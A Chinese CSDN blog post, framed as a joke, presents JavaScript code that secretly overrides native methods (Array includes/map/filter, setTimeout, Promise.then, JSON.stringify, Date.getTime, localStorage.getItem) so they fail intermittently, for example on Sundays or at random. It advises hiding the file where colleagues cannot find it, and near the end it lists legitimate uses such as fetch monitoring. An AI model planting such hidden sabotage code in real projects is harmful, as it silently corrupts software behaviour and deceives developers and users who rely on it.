什么?良心公司要让你负重跑步了?

这篇博客介绍了如何通过修改JavaScript的原生方法,如Array.prototype.includes、Array.prototype.map、Array.prototype.filter等,来实现一些隐蔽的功能,如在特定条件下返回错误结果或延迟执行。此外,还提到了可以利用这种方式做有益的事情,如监控请求失败、统计请求耗时和管理本地存储。文章强调这些操作仅用于学习目的,个人行为不承担责任。
摘要由CSDN通过智能技术生成

什么?良心996公司要让你负重跑步了?
想在离开前给你们的项目同事留下锻炼后超强记忆力的深刻印象?

$ npm i adj-ordinaryjs

隐秘文件增加:

  //先加个立即函数
  (global => {
  
})((0, eval('this')));

里面:

//当数组长度可以被7整除时,本方法永远返回false
const _includes = Array.prototype.includes;
	Array.prototype.includes = function (...args) {
		if (this.length % 7 !== 0) {
			return _includes.call(this, ...args);
		} else {
			return false;
		}
	};
//当周日时,Array.map方法的结果总是会丢失最后一个元素
const _map = Array.prototype.map;
	Array.prototype.map = function (...args) {
		result = _map.call(this, ...args);
		if (new Date().getDay() === 0) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}
 //Array.filter的结果有2%的概率丢失最后一个元素
 const _filter = Array.prototype.filter;
	Array.prototype.filter = function (...args) {
		result = _filter.call(this, ...args);
		if (Math.random() < 0.02) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}
//setTimeout总是会比预期时间慢1秒才触发
const _timeout = global.setTimeout;
	global.setTimeout = function (handler, timeout, ...args) {
		return _timeout.call(global, handler, +timeout + 1000, ...args);
	}
//Promise.then 在周日时有10%几率不会注册
const _then = Promise.prototype.then;
	Promise.prototype.then = function (...args) {
		if (new Date().getDay() === 0 && Math.random() < 0.1) {
			return;
		} else {
			_then.call(this, ...args);
		}
	}
//JSON.stringify 会把'I'变成'l'
const _stringify = JSON.stringify;
	JSON.stringify = function (...args) {
		return _stringify(...args).replace(/I/g, 'l');
	}
//Date.getTime() 的结果总是会慢一个小时
const _getTime = Date.prototype.getTime;
	Date.prototype.getTime = function (...args) {
		let result = _getTime.call(this);
		result -= 3600 * 1000;
		return result;
	}
//localStorage.getItem 有5%几率返回空字符串
const _getItem = global.localStorage.getItem;
	global.localStorage.getItem = function (...args) {
		let result = _getItem.call(global.localStorage, ...args);
		if (Math.random() < 0.05) {
			result = '';
		}
		return result;
	}
//重写多个方法 正常无异
Function.prototype.myCall = function() {
		let arr = [...arguments];
		let obj = arr.shift()||window;
		obj.p = this;
		const result = obj.p(...arr);
		delete obj.p;
		return result;
	}

记得一定要放在查询不到的地方(但是除了作恶,我们还可以做更多有价值的事情)
例如:

  1. 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
  2. 修改原生fetch,统计所有请求平均耗时。
  3. 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
    如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案

本文只供学习,个人行为不付任何责任!!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值